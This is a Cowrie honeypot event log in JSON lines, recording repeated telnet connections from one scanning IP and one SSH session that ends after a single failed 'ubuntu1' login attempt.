{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":39898,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba0be7b2ec79","protocol":"telnet","message":"New connection: 207.180.228.157:39898 (159.203.135.109:23) [session: ba0be7b2ec79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:49.745264Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":39912,"dst_ip":"159.203.135.109","dst_port":23,"session":"7820321c86d5","protocol":"telnet","message":"New connection: 207.180.228.157:39912 (159.203.135.109:23) [session: 7820321c86d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:50.512830Z"}
{"eventid":"cowrie.session.closed","duration":31.35829472541809,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:50.892450Z","src_ip":"207.180.228.157","session":"1f9e84463d00","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.97783660888672,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:50.967723Z","src_ip":"207.180.228.157","session":"b68ec963e94d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.02422785758972,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:51.737688Z","src_ip":"207.180.228.157","session":"975eb837985f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.136631727218628,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:52.142299Z","src_ip":"207.180.228.157","session":"adf4dc6b8f99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":39920,"dst_ip":"159.203.135.109","dst_port":23,"session":"97d6d9aeac25","protocol":"telnet","message":"New connection: 207.180.228.157:39920 (159.203.135.109:23) [session: 97d6d9aeac25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:52.190470Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":39930,"dst_ip":"159.203.135.109","dst_port":23,"session":"90b735aeda2f","protocol":"telnet","message":"New connection: 207.180.228.157:39930 (159.203.135.109:23) [session: 90b735aeda2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:52.222311Z"}
{"eventid":"cowrie.session.closed","duration":31.956042289733887,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:52.489858Z","src_ip":"207.180.228.157","session":"9bb9e0badcd4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.049512147903442,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:52.521382Z","src_ip":"207.180.228.157","session":"b1b2ebe00ab3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":39954,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae6212a3af42","protocol":"telnet","message":"New connection: 207.180.228.157:39954 (159.203.135.109:23) [session: ae6212a3af42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:52.545849Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":39958,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e98d1b7500e","protocol":"telnet","message":"New connection: 207.180.228.157:39958 (159.203.135.109:23) [session: 8e98d1b7500e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:52.983458Z"}
{"eventid":"cowrie.session.closed","duration":30.41024899482727,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:53.054240Z","src_ip":"207.180.228.157","session":"fc89046152d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":39968,"dst_ip":"159.203.135.109","dst_port":23,"session":"a48d43e0c9c7","protocol":"telnet","message":"New connection: 207.180.228.157:39968 (159.203.135.109:23) [session: a48d43e0c9c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:53.263578Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":39938,"dst_ip":"159.203.135.109","dst_port":23,"session":"75bb75953b2a","protocol":"telnet","message":"New connection: 207.180.228.157:39938 (159.203.135.109:23) [session: 75bb75953b2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:53.499658Z"}
{"eventid":"cowrie.session.closed","duration":31.043082237243652,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:53.571910Z","src_ip":"207.180.228.157","session":"410c3088cb85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.579232931137085,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:53.871927Z","src_ip":"207.180.228.157","session":"fa68ed1831df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.885446071624756,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:54.101888Z","src_ip":"207.180.228.157","session":"82d64cdb6ddb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":39978,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9bd41595309","protocol":"telnet","message":"New connection: 207.180.228.157:39978 (159.203.135.109:23) [session: c9bd41595309]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:54.554016Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":58696,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab56ce7ae534","protocol":"telnet","message":"New connection: 207.180.228.157:58696 (159.203.135.109:23) [session: ab56ce7ae534]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:54.809246Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":58708,"dst_ip":"159.203.135.109","dst_port":23,"session":"5dba7ee96bb4","protocol":"telnet","message":"New connection: 207.180.228.157:58708 (159.203.135.109:23) [session: 5dba7ee96bb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:54.981512Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":58724,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6d9066b3f57","protocol":"telnet","message":"New connection: 207.180.228.157:58724 (159.203.135.109:23) [session: d6d9066b3f57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:55.042132Z"}
{"eventid":"cowrie.session.closed","duration":30.816678285598755,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:55.147863Z","src_ip":"207.180.228.157","session":"73d5702c2e2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.945831537246704,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:55.531009Z","src_ip":"174.138.46.234","session":"47252d72b00c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":58738,"dst_ip":"159.203.135.109","dst_port":23,"session":"3736682e96ca","protocol":"telnet","message":"New connection: 207.180.228.157:58738 (159.203.135.109:23) [session: 3736682e96ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:56.131193Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":58742,"dst_ip":"159.203.135.109","dst_port":23,"session":"368e01cf4a46","protocol":"telnet","message":"New connection: 207.180.228.157:58742 (159.203.135.109:23) [session: 368e01cf4a46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:56.162960Z"}
{"eventid":"cowrie.session.closed","duration":8.93993330001831,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:56.483616Z","src_ip":"174.138.46.234","session":"2c199a227d43","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":58752,"dst_ip":"159.203.135.109","dst_port":23,"session":"78bc4956f5b5","protocol":"telnet","message":"New connection: 207.180.228.157:58752 (159.203.135.109:23) [session: 78bc4956f5b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:57.034448Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":58758,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ef6123d27d6","protocol":"telnet","message":"New connection: 207.180.228.157:58758 (159.203.135.109:23) [session: 0ef6123d27d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:57.651961Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":58766,"dst_ip":"159.203.135.109","dst_port":23,"session":"baab8c88cd43","protocol":"telnet","message":"New connection: 207.180.228.157:58766 (159.203.135.109:23) [session: baab8c88cd43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:57.709544Z"}
{"eventid":"cowrie.session.closed","duration":32.547813415527344,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:57.959803Z","src_ip":"207.180.228.157","session":"33471b1579e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.01868987083435,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:58.304611Z","src_ip":"207.180.228.157","session":"f7a050491b86","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.56463384628296,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:58.352610Z","src_ip":"207.180.228.157","session":"1480e2137adc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.381768465042114,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:59.203538Z","src_ip":"207.180.228.157","session":"00a23283f274","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":58782,"dst_ip":"159.203.135.109","dst_port":23,"session":"1aa3bb316c20","protocol":"telnet","message":"New connection: 207.180.228.157:58782 (159.203.135.109:23) [session: 1aa3bb316c20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:59.491291Z"}
{"eventid":"cowrie.session.closed","duration":32.68446326255798,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:59.673500Z","src_ip":"207.180.228.157","session":"d4fb18f98739","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.034284591674805,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:59.778517Z","src_ip":"207.180.228.157","session":"271b5adf843a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":58790,"dst_ip":"159.203.135.109","dst_port":23,"session":"066946f43238","protocol":"telnet","message":"New connection: 207.180.228.157:58790 (159.203.135.109:23) [session: 066946f43238]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:00.261232Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":58798,"dst_ip":"159.203.135.109","dst_port":23,"session":"765bd5750e0a","protocol":"telnet","message":"New connection: 207.180.228.157:58798 (159.203.135.109:23) [session: 765bd5750e0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:00.423727Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":58800,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b5d0b7be942","protocol":"telnet","message":"New connection: 207.180.228.157:58800 (159.203.135.109:23) [session: 6b5d0b7be942]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:00.505888Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":58806,"dst_ip":"159.203.135.109","dst_port":23,"session":"93142f515f8b","protocol":"telnet","message":"New connection: 207.180.228.157:58806 (159.203.135.109:23) [session: 93142f515f8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:00.557063Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":58820,"dst_ip":"159.203.135.109","dst_port":23,"session":"76e636aefc3a","protocol":"telnet","message":"New connection: 207.180.228.157:58820 (159.203.135.109:23) [session: 76e636aefc3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:00.737926Z"}
{"eventid":"cowrie.session.closed","duration":30.81537103652954,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:01.199569Z","src_ip":"207.180.228.157","session":"61bd40e2aff7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82858395576477,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:01.713322Z","src_ip":"207.180.228.157","session":"ced63230d005","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.4882755279541,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:02.246992Z","src_ip":"207.180.228.157","session":"a5f4231e66c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":58826,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9e972a7367e","protocol":"telnet","message":"New connection: 207.180.228.157:58826 (159.203.135.109:23) [session: f9e972a7367e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:02.472876Z"}
{"eventid":"cowrie.session.closed","duration":30.994480848312378,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:03.393189Z","src_ip":"207.180.228.157","session":"e24e9e08731e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":58836,"dst_ip":"159.203.135.109","dst_port":23,"session":"8754c2eefd05","protocol":"telnet","message":"New connection: 207.180.228.157:58836 (159.203.135.109:23) [session: 8754c2eefd05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:03.462045Z"}
{"eventid":"cowrie.session.connect","src_ip":"59.17.95.129","src_port":58102,"dst_ip":"10.17.0.5","dst_port":22,"session":"961ae396f2b6","protocol":"ssh","message":"New connection: 59.17.95.129:58102 (10.17.0.5:22) [session: 961ae396f2b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:03.659080Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:03.664348Z","src_ip":"59.17.95.129","session":"961ae396f2b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:03.867275Z","src_ip":"59.17.95.129","session":"961ae396f2b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.807499170303345,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:04.056343Z","src_ip":"207.180.228.157","session":"03f24cccb06f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.7714946269989,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:04.649235Z","src_ip":"207.180.228.157","session":"295e9b46d6de","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu1","password":"ubuntu1","message":"login attempt [ubuntu1/ubuntu1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:04.700838Z","src_ip":"59.17.95.129","session":"961ae396f2b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.459733247756958,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:05.217704Z","src_ip":"207.180.228.157","session":"552b16c7573e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.781500816345215,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:05.553751Z","src_ip":"207.180.228.157","session":"7c7c612bdada","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.53592300415039,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:05.865745Z","src_ip":"207.180.228.157","session":"eb945bf0cf7b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:05.902040Z","src_ip":"59.17.95.129","session":"961ae396f2b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.38584566116333,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:06.127296Z","src_ip":"207.180.228.157","session":"2ab325fbfd3a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":47652,"dst_ip":"159.203.135.109","dst_port":23,"session":"de6ff0bad84a","protocol":"telnet","message":"New connection: 207.180.228.157:47652 (159.203.135.109:23) [session: de6ff0bad84a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:06.293527Z"}
{"eventid":"cowrie.session.closed","duration":30.699851989746094,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:06.393307Z","src_ip":"207.180.228.157","session":"153b050fb147","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":47654,"dst_ip":"159.203.135.109","dst_port":23,"session":"b65c1e5e6acb","protocol":"telnet","message":"New connection: 207.180.228.157:47654 (159.203.135.109:23) [session: b65c1e5e6acb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:06.402538Z"}
{"eventid":"cowrie.session.closed","duration":30.85735321044922,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:06.661946Z","src_ip":"207.180.228.157","session":"30d102266376","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.5960853099823,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:07.015741Z","src_ip":"207.180.228.157","session":"6330177441a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.47548770904541,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:07.109361Z","src_ip":"207.180.228.157","session":"36297f85e9f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.861521005630493,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:07.619343Z","src_ip":"207.180.228.157","session":"271050774750","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":47658,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d9c0631e7e8","protocol":"telnet","message":"New connection: 207.180.228.157:47658 (159.203.135.109:23) [session: 1d9c0631e7e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:07.637111Z"}
{"eventid":"cowrie.session.closed","duration":31.321311712265015,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:07.856230Z","src_ip":"207.180.228.157","session":"6470899d0c77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.92187786102295,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:08.569283Z","src_ip":"207.180.228.157","session":"372d9206b43a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":47662,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d0203d509eb","protocol":"telnet","message":"New connection: 207.180.228.157:47662 (159.203.135.109:23) [session: 5d0203d509eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:08.718353Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":47676,"dst_ip":"159.203.135.109","dst_port":23,"session":"8639b94eb2b8","protocol":"telnet","message":"New connection: 207.180.228.157:47676 (159.203.135.109:23) [session: 8639b94eb2b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:08.854033Z"}
{"eventid":"cowrie.session.closed","duration":46.26555919647217,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:09.286767Z","src_ip":"174.138.46.234","session":"002a02110257","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.904011487960815,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:09.421378Z","src_ip":"207.180.228.157","session":"0a1a6f9a57ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":47688,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf0b7b6474fd","protocol":"telnet","message":"New connection: 207.180.228.157:47688 (159.203.135.109:23) [session: bf0b7b6474fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:09.774908Z"}
{"eventid":"cowrie.session.closed","duration":31.17771625518799,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:10.216500Z","src_ip":"207.180.228.157","session":"8fd2ae61fab6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.73983645439148,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:10.221399Z","src_ip":"207.180.228.157","session":"91f786ada7dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.136760711669922,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:13.374441Z","src_ip":"207.180.228.157","session":"ef93b96237bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.744075298309326,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:13.534306Z","src_ip":"207.180.228.157","session":"fec9ccfd6b2e","protocol":"telnet"}
